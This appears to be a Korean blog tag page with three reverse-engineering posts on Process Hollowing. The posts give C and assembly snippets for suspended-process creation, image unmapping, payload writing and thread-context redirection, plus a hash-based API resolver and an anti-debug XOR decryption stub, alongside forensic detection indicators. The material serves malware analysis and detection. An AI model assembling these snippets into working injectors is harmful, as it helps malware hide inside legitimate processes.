[태그:] 프로세스할로잉

  • Process Hollowing 분석 — Unbacked Memory Image Overwrite 및 Thread Rebase 패턴

    악성코드가 빈번히 사용하는 Process Hollowing (a.k.a. RunPE) 기법의
    초기 구간(Stub → Target Image Unmapping → Memory Overwrite → Context 재설정)에서
    보여지는 프로세스 메모리 오염 패턴, 레지스터 전이, 스택 프레임 변형, 제어 흐름 재배치(Thread Rebase) 과정을 작성함.

    리버싱 기록


    1. 개요 — Process Hollowing의 핵심 구조

    Process Hollowing은 정상 프로세스를 생성한 뒤, 해당 프로세스의
    Image Section을 Unmap/Overwrite하여 공격자 임의 코드(일반적으로 언패킹된 PE)를
    삽입하고, 이어서 Thread Context(EIP/RIP) 를 새 EntryPoint로 재설정하여
    실행 흐름을 완전히 대체하는 기법이다.

    분석 관점에서 특징적인 포인트는 다음과 같다:

    • Suspended 상태의 프로세스 생성 (CreateProcess + CREATE_SUSPENDED)
    • NtUnmapViewOfSection 호출 후 ImageBase 제거
    • Private Memory에 공격자 이미지 재구성
    • PEB.ImageBaseAddress / RTL_USER_PROCESS_PARAMETERS 불일치
    • SetThreadContext 기반 Thread PC register 재배치
    • Import Table 재배치 또는 동적 API 해석 루틴 삽입
    • 스택 프레임/호출 규약이 정상 프로세스와 불일치

    이러한 패턴들은 메모리 포렌식에서 명확한 지표(IOC) 를 생성한다.


    2. 초기 Stub 코드 패턴 (무해화된 예시)

    프로세스 생성 및 Unmap 루틴의 대표적인 패턴은 다음과 같다:

    // 패턴
    BOOL Demo_ProcessHollowingStub(LPCSTR hostPath, LPVOID payloadBase, DWORD payloadSize) {
        STARTUPINFOA si = {0};
        PROCESS_INFORMATION pi = {0};
        si.cb = sizeof(si);
    
        // 1) Suspended 상태로 정상 프로세스 생성
        if (!CreateProcessA(hostPath, NULL, NULL, NULL, FALSE,
            CREATE_SUSPENDED, NULL, NULL, &si, &pi))
            return FALSE;
    
        // 2) Target 프로세스 ImageBase 조회 (PEB 읽기)
        CONTEXT ctx;
        ZeroMemory(&ctx, sizeof(ctx));
        ctx.ContextFlags = CONTEXT_INTEGER | CONTEXT_CONTROL;
    
        if (!GetThreadContext(pi.hThread, &ctx))
            return FALSE;
    
        // 3) PEB 구조에서 ImageBaseAddress 획득 (패턴 단순화)
        DWORD pebAddr = (DWORD)ctx.Ebx;       // 32bit PEB 포인터
        DWORD imageBase = 0;
        ReadProcessMemory(pi.hProcess, (LPCVOID)(pebAddr + 0x08), &imageBase, sizeof(DWORD), NULL);
    
        // 4) 원본 이미지 제거
        NtUnmapViewOfSection(pi.hProcess, (PVOID)imageBase);
    
        // 5) 공격자 Payload를 대상 프로세스 메모리에 매핑
        LPVOID remoteBase = VirtualAllocEx(pi.hProcess, (LPVOID)imageBase,
                                           payloadSize, MEM_COMMIT | MEM_RESERVE,
                                           PAGE_EXECUTE_READWRITE);
    
        // (이하: 무해화 처리된 흐름 — 실제 PE Rebuild/ImportFix 없음)
        WriteProcessMemory(pi.hProcess, remoteBase, payloadBase, payloadSize, NULL);
    
        return TRUE;
    }
    

    관찰 포인트

    • EBX 레지스터 사용 → x86에서 PEB 포인터
    • Remote 프로세스의 ImageBase를 제거함으로써
      정상 PE 구조가 사라지고 “Unbacked Private Memory”만 존재
    • RWX 메모리 영역 증가

    3. Thread Context 재설정 (RIP/EIP Rebase)

    Image Overwrite 이후에는 새 이미지의 EntryPoint로 제어 흐름을 재설정한다.
    공격자 코드는 이를 위해 EIP/RIP 수정을 수행한다.

    예제 코드

    // 패턴
    BOOL Demo_RebaseThreadContext(HANDLE hThread, DWORD newEntry) {
        CONTEXT ctx;
        ZeroMemory(&ctx, sizeof(ctx));
        ctx.ContextFlags = CONTEXT_CONTROL;
    
        if (!GetThreadContext(hThread, &ctx))
            return FALSE;
    
        ctx.Eip = newEntry;    // x86 기준
        return SetThreadContext(hThread, &ctx);
    }
    

    4. Assembly 관점 — Hollowing Stub의 전형적인 흐름

    다음은 프로세스 언매핑 및 EntryPoint 재배치를 수행하는
    “교육용 패턴화”된 디스어셈블리다:

    ; --- PEB에서 ImageBase 추출 ---
    mov     eax, [ebx+08h]            ; PEB.ImageBaseAddress
    push    eax
    push    [edi]                     ; hProcess
    call    dword ptr [NtUnmapViewOfSection]
    
    ; --- 새 Payload 매핑 ---
    push    PAGE_EXECUTE_READWRITE
    push    MEM_COMMIT
    push    payload_size
    push    eax                       ; desired base (기존 ImageBase)
    push    hProcess
    call    dword ptr [VirtualAllocEx]
    
    ; --- EntryPoint 재설정 ---
    mov     ecx, new_entry
    mov     [ctx+0B8h], ecx           ; CONTEXT.Eip 수정
    push    ctx
    push    hThread
    call    dword ptr [SetThreadContext]
    

    5. 레지스터·메모리·스택 변화 상세 분석

    시점레지스터 / 메모리 상태의미
    스레드 생성 직후EIP = 정상 EntryPoint, EBX = PEB정상 프로세스 초기 상태
    NtUnmapViewOfSection 후ImageBase 메모리 UnmappedPE Header/Sections 제거됨
    VirtualAllocEx 이후RemoteBase = Private Memory공격자 이미지가 위치할 공간 확보
    WriteProcessMemory 후Private Memory에 새 이미지 반영PE 전체가 디스크 없이 메모리 상 재구성
    SetThreadContext 후EIP = 새 EntryPoint정상 실행 흐름 완전 대체

    6. PE 구조 관점의 무결성 파괴

    리버싱 핵심원리 기준으로 보면 Process Hollowing은 PE 구조의
    다음 요소들이 비정상적으로 변형된다:

    (1) PEB.ImageBaseAddress 값과 실제 매핑 주소 불일치

    • 진짜 매핑된 이미지가 Private Memory로 바뀌었으나
      PEB는 갱신되지 않거나 부분적으로만 반영됨

    (2) Section Alignment 및 Header 구조 붕괴

    • 디스크 기반 백업 없음
    • .text, .rdata 경계와 실제 메모리 경계 불일치

    (3) Import Table 재배치 및 AddressOfFunctions 파편화

    • IAT 재해석 루틴 또는 동적 API 로더가 등장하는 경우 많음

    7. 동적 API 호출 및 Anti-Analysis 결합 패턴

    Process Hollowing과 결합되는 고전적 로더 패턴들:

    • API 해시 기반 Resolver
    • Kernel32 LoadLibrary/GetProcAddress Stub 삽입
    • TEB/PEB 직접 참조로 Anti-Hook 우회
    • Inline Anti-Debugging(NtQueryInformationProcess)
    • RDTSC / QueryPerformanceCounter 기반 Timing Check
    • IsDebuggerPresent 플래그 조작

    이들은 모두 Hollowing 단계 직후 등장하기 쉬운
    Payload 초기화 루틴의 공통 특징이다.


    8. 메모리 포렌식에서의 IOC

    Process Hollowing은 다음 IOC를 거의 항상 남긴다:

    (1) Private Memory에 PE Header 특유의 “MZ / PE” 시그니처 존재

    (2) 메모리맵에서 동일 주소대역이 “Unbacked” 상태로 표시

    (3) Module 리스트(PEB Loader Entries)와 실행중 EntryPoint의 불일치

    (4) RWX 메모리 증가 + Image 타입 섹션 사라짐

    (5) Call Stack Reconstruction 실패 (Return Address가 모듈 내부가 아님)


    9. 결론

    Process Hollowing은 사용자 공간 프로세스 구조(PEB, VAD, Section Mapping)를 직접 변형해
    정상 실행 흐름을 완전히 대체하는 공격 기법이다.

    그러나 PE 구조/메모리 보호 속성/Thread Context/스택 프레임 관찰을 기반으로
    꾸준히 정형화된 TTP를 보여주기 때문에
    디지털 포렌식·Incident Response 환경에서 충분히 탐지 가능하다.


    📍 Written by Code & Compass

  • 📘 Process Hollowing 기반 프로세스 인젝션

    Windows Process Hollowing의 내부 제어 흐름 및 스택/레지스터 변화 분석

    악성코드에서 광범위하게 사용되는 Process Hollowing의 내부 동작을 리버싱 관점에서 단계별로 분석함.

    리버싱 기록


    1. Process Hollowing 개요

    Process Hollowing은 다음과 같은 고전적 인젝션 절차를 따름:

    1. 정상 프로세스를 Suspended 상태로 생성
    2. 생성된 프로세스의 메모리 영역(Unmap Section) 비우기
    3. 악성 페이로드의 PE 헤더 및 섹션을 새 주소 공간에 수동 매핑
    4. 프로세스 스레드 컨텍스트(EIP/RIP) 를 새로운 Entry Point로 변경
    5. 스레드 재개

    이 방식의 장점:

    • 외부에서 보면 정상 프로세스 이름을 유지
    • IAT 후킹·DLL Injection보다 탐지 지점이 적음
    • 이미지 경로/명령줄/서명 모두 정상으로 보임

    2. Suspended 프로세스 생성 (C)

    // 비실행 개념 코드 — Suspended Process 생성
    STARTUPINFOA si = {0};
    PROCESS_INFORMATION pi = {0};
    
    CreateProcessA(
        "C:\\Windows\\System32\\notepad.exe",
        NULL,
        NULL,
        NULL,
        FALSE,
        CREATE_SUSPENDED,
        NULL,
        NULL,
        &si,
        &pi
    );
    

    분석 포인트:

    • CREATE_SUSPENDED 플래그로 새 스레드가 실행되기 전에 컨텍스트를 추출 가능
    • pi.hThread → CONTEXT 구조 확인
    • 악성코드는 이후 GetThreadContext로 레지스터 값을 읽어 진입점 조작에 사용

    3. 원본 이미지 제거(Unmap) Assembly 예시

    실제 샘플은 NtUnmapViewOfSection을 동적 API 획득으로 호출하는 경우가 많음.

    ; 호출 전: EAX → 함수 주소, ECX/EDX → 파라미터
    ; 예시
    push    processHandle
    push    baseAddress
    call    eax                     ; eax = NtUnmapViewOfSection
    
    ; 반환값 확인
    test    eax, eax
    jnz     UNMAP_FAILED
    

    레지스터 흐름 관찰 포인트:

    • call eax 패턴은 동적 API 해석 루틴이 성공적으로 주소를 찾은 뒤 사용
    • baseAddress는 PEB의 ImageBaseAddress 또는 컨텍스트 Ebx/ Rdx 등에서 획득

    4. 악성 이미지 매핑 — 수동 PE 로딩(C)

    아래 코드는 구조 설명을 위해 단순화한 예시.

    // 개념적 매핑 구조
    LPVOID remoteBase = VirtualAllocEx(
        pi.hProcess,
        (LPVOID)payloadImageBase,
        payloadSize,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE
    );
    
    // PE Header 복사
    WriteProcessMemory(
        pi.hProcess,
        remoteBase,
        payloadBuffer,
        payloadHeadersSize,
        NULL
    );
    
    // Section 루프 복사
    for (int i=0; i<sectionCount; i++) {
        WriteProcessMemory(
            pi.hProcess,
            (LPVOID)((SIZE_T)remoteBase + section[i].VirtualAddress),
            payloadBuffer + section[i].PointerToRawData,
            section[i].SizeOfRawData,
            NULL
        );
    }
    

    분석 관점:

    • 인젝션 페이로드가 “file-backed image”가 아닌 “memory-backed image”이므로
      모듈 리스트에 표시되지 않아 탐지가 어려움
    • PE 구조 파싱(이미지베이스, 섹션 RVA, 정렬 값)이 정확히 일치해야 정상 작동

    5. 진입점(EIP/RIP) 재설정 — CONTEXT 변조

    // 비실행 예시 — Entry Point 변경
    CONTEXT ctx;
    ctx.ContextFlags = CONTEXT_FULL;
    
    GetThreadContext(pi.hThread, &ctx);
    
    // x86
    ctx.Eip = (DWORD)((SIZE_T)remoteBase + payloadEntryRVA);
    
    // x64
    // ctx.Rip = ...
    
    SetThreadContext(pi.hThread, &ctx);
    

    레지스터 변화 관찰:

    • GetThreadContext 후 EIP/RIP 값은 원래 notepad.exe의 Entry Point
    • 악성코드가 이 값을 새로운 PE Entry Address로 변경
    • 이후 ResumeThread로 실행되는 스레드는 완전히 다른 코드 흐름 수행

    6. Shellcode Pre-Staging 패턴(Assembly)

    일부 악성코드는 신뢰도 향상을 위해 Entry Point에 Shellcode Stub을 두고
    그 Stub 안에서 추가 환경 체크 및 Anti-Debug 수행 후 메인 페이로드로 점프함.

    ; 비실행 예시 — Shellcode Stub
    SHELL_STUB:
        pushad
        pushfd
    
        mov     eax, fs:[0x30]          ; PEB
        mov     al, [eax+0x02]          ; BeingDebugged
        test    al, al
        jnz     DEBUG_PATH
    
        ; 간단한 XOR 복호화 루틴
        mov     esi, [encryptedPayload]
        mov     ecx, payloadSize
    XOR_LOOP:
        xor     byte ptr [esi], 0x5A
        inc     esi
        loop    XOR_LOOP
    
        popfd
        popad
        jmp     DECRYPTED_ENTRY
    

    요점:

    • Shellcode는 매우 작은 공간에서 환경 체크 + 복호화 + 점프까지 처리
    • PEB BeingDebugged 플래그 확인 → 악성코드의 고전적 anti-debug 루틴
    • XOR decrypt 루프는 스택/레지스터 조작 없이 간단하게 구현되는 패턴

    7. “Hollowing Signature” 탐지 체크리스트

    실제 Process Hollowing을 판별하는 주요 지표는 다음과 같음.

    구분탐지 지표
    프로세스 구조Suspended 상태에서 시작됨
    메모리 매핑ImageBaseAddress가 원본과 불일치
    섹션 검사PE 섹션이 파일과 메모리에서 다르게 나타남
    쓰기 패턴큰 연속 WriteProcessMemory 호출 흔적
    스레드 컨텍스트Entry Point 레지스터(EIP/RIP)가 정상 이미지 범위 외부
    모듈 리스트로드된 이미지가 정상 EXE지만 내부 코드는 다른 바이너리

    8. 제어 흐름 요약 (전체 플로우)

    1. CreateProcessA(..., CREATE_SUSPENDED)
    2. GetThreadContext → EIP/RIP 추출
    3. NtUnmapViewOfSection로 원본 이미지 제거
    4. VirtualAllocEx로 새로운 ImageBase 확보
    5. 헤더 및 섹션 수동 매핑 (PE 구조 기반)
    6. EntryPoint를 새 주소로 SetThreadContext
    7. ResumeThread로 실행 흐름 전환
    8. Shellcode Stub → Anti-debug → 복호화 → 메인 실행

    모든 단계를 통해 정상 프로세스가 완전히 다른 바이너리로 “속이 비워지고 교체”됨.


    ✨ 마무리 한 줄

    Process Hollowing은 “프로세스를 실행하지 않고 먼저 빌려온 뒤 내부를 완전히 교체하는 방식”이며,
    이 미세한 교체 과정 속 레지스터/메모리의 작은 변화를 읽어내는 능력이 핵심 역량으로 이어진다.


    📍 Written by Code & Compass

  • 🔧 Process Hollowing

    리버싱 기록


    1. 개요

    Process Hollowing은 정상 프로세스를 생성한 뒤 내부 메모리를 제거하고 악성 페이로드를 삽입하여 실행 흐름을 탈취하는 방식이다.
    특징은 다음과 같다:

    • CreateProcess에서 CREATE_SUSPENDED 사용
    • PEB에서 ImageBaseAddress 파싱
    • NtUnmapViewOfSection 호출
    • 재할당 후 악성 PE 매핑
    • EntryPoint 이동 후 ResumeThread

    악성코드는 흔히 API 해시 기반 동적 API 로딩 기법을 함께 사용한다.


    2. 동적 API 해석 루틴 (C 코드)

    DWORD HashString(char* s) {
        DWORD h = 0;
        while (*s) {
            h = ((h >> 13) | (h << 19));
            h += (*s >= 'A' && *s <= 'Z') ? (*s + 0x20) : *s;
            s++;
        }
        return h;
    }
    
    FARPROC Resolve(DWORD targetHash) {
        PEB* peb = (PEB*)__readgsqword(0x60);
        LIST_ENTRY* mod = peb->Ldr->InMemoryOrderModuleList.Flink;
    
        while (mod) {
            LDR_DATA_TABLE_ENTRY* e = (LDR_DATA_TABLE_ENTRY*)((BYTE*)mod - 0x10);
            BYTE* base = (BYTE*)e->DllBase;
    
            IMAGE_DOS_HEADER* dos = (IMAGE_DOS_HEADER*)base;
            IMAGE_NT_HEADERS* nt = (IMAGE_NT_HEADERS*)(base + dos->e_lfanew);
    
            DWORD expRVA = nt->OptionalHeader.DataDirectory[0].VirtualAddress;
            IMAGE_EXPORT_DIRECTORY* exp = (IMAGE_EXPORT_DIRECTORY*)(base + expRVA);
    
            DWORD* names = (DWORD*)(base + exp->AddressOfNames);
            WORD* ord = (WORD*)(base + exp->AddressOfNameOrdinals);
            DWORD* funcs = (DWORD*)(base + exp->AddressOfFunctions);
    
            for (DWORD i = 0; i < exp->NumberOfNames; i++) {
                char* name = (char*)(base + names[i]);
                if (HashString(name) == targetHash) {
                    return (FARPROC)(base + funcs[ord[i]]);
                }
            }
    
            mod = mod->Flink;
        }
        return NULL;
    }
    

    해석 포인트

    • PEB → Ldr 리스트 순회
    • Export Directory 직접 파싱
    • 해시 비교를 통한 API 은닉
    • 《리버싱 핵심원리》의 PE 구조 분석 절차 그대로 적용됨

    3. Assembly 흐름 (동적 Export 파싱)

    mov     rax, gs:[0x60]           ; RAX = PEB
    mov     rbx, [rax+0x18]          ; Ldr
    mov     rcx, [rbx+0x20]          ; InMemoryOrderModuleList
    mov     rcx, [rcx]               ; Flink = next module
    
    ; Loop:
    mov     rdx, [rcx-0x10]          ; DllBase
    mov     r8,  [rdx+3Ch]           ; e_lfanew
    add     r8,  rdx                 ; NT Header
    
    mov     r9d, [r8+88h]            ; RVA Export Directory
    test    r9d, r9d
    jz      next_module
    
    ; Export 테이블 접근 …
    

    레지스터 변화 설명

    • RAX: PEB base
    • RBX/RCX: Ldr 리스트 이동
    • RDX: ImageBase
    • R8/R9: NT Header / Export Directory

    4. Process Hollowing 전체 흐름

    1. CreateProcess (CREATE_SUSPENDED)
    2. PEB → ImageBaseAddress 찾기
    3. NtUnmapViewOfSection
    4. VirtualAllocEx
    5. WriteProcessMemory
    6. EntryPoint 계산
    7. SetThreadContext
    8. ResumeThread

    5. EntryPoint 재지정 Assembly

    mov     ecx, hThread
    call    GetThreadContext
    mov     rax, [rsp+context.Rcx]
    mov     rdx, new_entry
    add     rdx, remote_base
    mov     [context.Rcx], rdx
    call    SetThreadContext
    call    ResumeThread
    

    포인트

    • RCX/RIP 조작 → 제어 흐름 탈취
    • AddressOfEntryPoint 기반 Entry 이동
    • 스택 프레임과 제어 흐름 규칙은 《리버싱 핵심원리》의 원리 그대로 적용됨

    6. 포렌식 관점의 탐지 지표

    단계흔적지표
    Unmap메모리 공백VAD 흔들림
    AllocImageBase 비정상RWX 상태
    WritePE 구조 잔존DOS/NT 시그니처
    ContextEntryPoint 불일치스레드 흐름 이탈
    APIImport 없음해시 기반 호출 패턴

    7. 정리

    Process Hollowing은
    PE 구조 분석 → 메모리 매핑 → 동적 API 해석 → 제어 흐름 조작
    순서로 리버싱하는 것이 핵심이다.

    📍 Written by Code & Compass